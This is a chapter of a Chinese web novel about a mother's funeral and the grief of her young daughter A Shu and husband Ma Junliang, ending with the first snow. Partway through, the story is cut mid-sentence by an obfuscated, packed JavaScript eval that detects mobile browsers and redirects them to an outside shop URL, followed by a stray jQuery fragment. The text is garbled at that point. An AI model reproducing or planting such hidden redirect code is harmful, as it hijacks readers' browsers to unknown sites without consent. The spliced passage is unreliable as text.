苏晚晴的丧事办得简素。
马君粮虽心疼妻子，却终究是个务实的人。他请了曹村最稳妥的先生来操持，又吩咐管家把府里上上下下安排得井井有条——棺木用的是上好的柏木，寿衣是苏晚晴生前自己备下的那套藕荷色细棉衣裳，灵堂设在正厅，白幡从门楣垂下，素烛日夜不灭。
出殡那日，天阴沉沉的，没有风，也没有雨，只是灰蒙蒙地压着，像一块洗旧了的布蒙在头顶。马家大门摆好了香案，曹村的乡邻们三三两两赶来吊唁。有人带了蒸馍和吃食，有人提着一壶浊酒，还有人默默放下一匹白布，算是尽了心意。管家带着几个佣人在门口迎送，一一登记吊礼，又端茶递水，忙而不乱。
几个年长的妇人拉着马君粮的手，低声劝他节哀顺变，又叹着气说苏氏是个好人，可惜命薄。马君粮一一拱手道谢，面色沉沉，只是点头，不多言语。偶尔有人小声议论“马家如今只剩父女二人，往后怕是难撑”，他听见了，也只是攥了攥拳，没有反驳。
阿姝被安排跟在灵柩后面，小小的身子裹着一身素白，手里捧着一只粗陶碗，碗里是苏晚晴生前最爱喝的莲子羹——那是厨房的婆子天没亮就起来熬的，熬到莲子软烂，用细布滤去渣，只留清汤。阿姝记得母亲说过，走的时候要喝一口甜的，路上不苦。
送葬的队伍不长，多是曹村的乡邻和马家的佃户。阿姝跟在后面，没有哭。不是不想哭，是眼泪在前一夜已经流干了，此刻眼眶干涩发烫，像是被秋风吹裂的土。
下葬的地方在曹村后山的向阳坡上，能远远望见神头泉的方向。马君粮说，你娘一辈子没出过远门，让她走得离泉近一些，也算圆满。
坟头堆好土，纸钱烧尽，青烟散在灰白的天里。众人陆续下山，阿姝却站着不动，盯着那块新立的石碑看了很久。碑上刻着“苏氏晚晴之墓”，字迹端正，是她认得的那种楷书。她伸出手，指尖轻轻碰了碰冰凉的石面，像是在确认什么。
石头是硬的，凉的，不会像母亲的手那样回握她。
她慢慢收回手，转身跟着人群往山下走。脚步很轻，踩在枯草上几乎没有声响。
……
回到马家宅院，一切照旧，又一切都不一样了。
清晨天色微亮，阿姝像往常一样穿戴整齐，下意识往母亲卧房的方向走。走到门口才猛然停住——门虚掩着，里面空荡荡的，床榻上的被褥已经撤去，只剩一张光秃秃的木板床。窗台上那盆母亲养了多年的兰草还在，叶子微微耷拉着，像是也没了精神。
她站在门口，手搭在门框上，久久没有动。
过了好一会儿，她才转身去了厨房。灶上已经温着一锅粥，是厨房的婆子提前备好的，旁边还摆着一碟小菜。佣人见她进来，连忙要盛粥端给她，阿姝却摆了摆手，自己盛了一碗，端到桌上，又习惯性地往对面摆了一只碗、一双筷子。
摆完才想起来，对面再也不会坐人了。
她盯着那只空碗看了很久，佣人想过来收走，她轻轻摇了摇头。然后一个人坐在桌边，小口小口地把粥喝完。粥是温的，咽下去的时候，喉咙里堵着一团说不清的东西。
午后她收拾自己的小衣裳，翻到一件藕荷色的夹袄，是母亲入秋前给她缝的，针脚细密匀整，袖口还绣了一枝小小的兰草。衣裳只缝了一半，领口的盘扣还没钉上。她把衣裳叠好，放回柜子里，手指在柜沿上停了很久。
夜里她躺在自己的小床上，翻来覆去睡不着。从前母亲在世时，她夜里咳嗽，隔壁房间总会很快亮起灯，母亲会披着衣裳过来，轻轻拍她的背，喂她喝一口温水。如今隔壁的房间黑着，整夜整夜地黑着，安静得让人心慌。她把被子拉高，盖住半张脸，缩成小小的一团，听着窗外的风声，很久很久才迷迷糊糊睡过去。
……
马君粮那几日几乎没怎么说话。
他从前再忙，黄昏归家第一件事是去内房看阿姝，顺便去苏晚晴房里坐一坐，哪怕只是静静地看她一眼。如今内房的门开着，阿姝安安静静坐在灯下看书，他看一眼便转身走了。苏晚晴的房门却总是关着，他路过时脚步会顿一下，却从没有推开门。
阿姝知道他在躲。
她也不去打扰他。只是每天傍晚，她会把自己抄好的一页字放在父亲书房的桌上。字写得端端正正，是母亲教她的那种小楷。她不写别的，只抄《千字文》，从“天地玄黄”开始，一页一页，从不间断。
马君粮每次看到桌上的字，都会拿起来看很久。他不说好，也不说不好，只是看完之后，会把纸叠得整整齐齐，收进抽屉里。
有一晚，马君粮在堂屋里独自喝闷酒，喝得有些多了，脚步虚浮地走到苏晚晴的房门前。佣人想跟上来添酒，被他挥手赶了出去。他站了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781860|210012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很久，终于伸手推开了那扇门。
屋里漆黑一片，空气里还残留着一丝极淡的药香，像是主人只是出门了一趟，很快就会回来。他摸索着坐到床沿上，伸手摸了摸枕边叠得整齐的帕子——那是苏晚晴生前常用的，边角已经洗得有些毛了。
他就那样坐着，在黑暗里坐了一整夜。
第二天清晨，阿姝路过母亲房门时，发现门虚掩着，里面没有人。她推开门，看到床沿上有一只空酒杯，滚落在地上。她弯腰捡起来，握在手心里，没有声张。
那天马君粮从房里出来时，眼睛是红的。阿姝看了他一眼，低下头，什么也没问。
……
日子就这样一天天过下去。
院里的国槐落尽了叶子，光秃秃的枝桠伸向灰白的天空。枣树也只剩枯枝，在风里偶尔发出细碎的响声。阿姝不再去院中玩耍，大部分时间都待在自己房里，或者坐在母亲从前常坐的那张软榻上，翻她留下的书。
书上还有母亲批注的字迹，娟秀细小，像是蚂蚁爬过的痕迹。阿姝一页一页地翻，看到母亲写“此处当细读”，就真的停下来细读；看到母亲写“此句甚好”，就轻轻念出声来。
她念得很轻，像是怕惊扰了谁。
……
地脉深处，三条小龙蛰伏如常。
这一日，其中一条小龙忽然微微抬起了头。它模糊地感知到，神头泉西南方向，有什么极轻极淡的气息波动了一下——像是沉睡了百年的种子，在冻土之下悄悄裂开了一道缝。
它不确定那是什么，只是本能地觉得，那气息与母亲有关。
它将这份微弱的感知传递给了另外两条小龙。三道龙息在地脉中缓缓交汇，像三根无形的丝线，轻轻牵向同一个方向。
它们没有动作，只是静静地等待着，像是在确认什么。
……
曹村的冬天来得早，也来得沉。
第一场雪落下来的时候，阿姝站在廊下，看着雪花一片一片落在院中的枯枝上、石阶上、母亲从前最爱坐的那张石凳上。她伸出手，接住了一片雪花，凉意瞬间在掌心化开。
她忽然想起母亲说过的一句话：“雪是天上落下来的信，每一片都是有人想你了。”
阿姝站在雪里，仰头看着灰蒙蒙的天，眼眶终于又热了起来。
这一次，她没有忍住。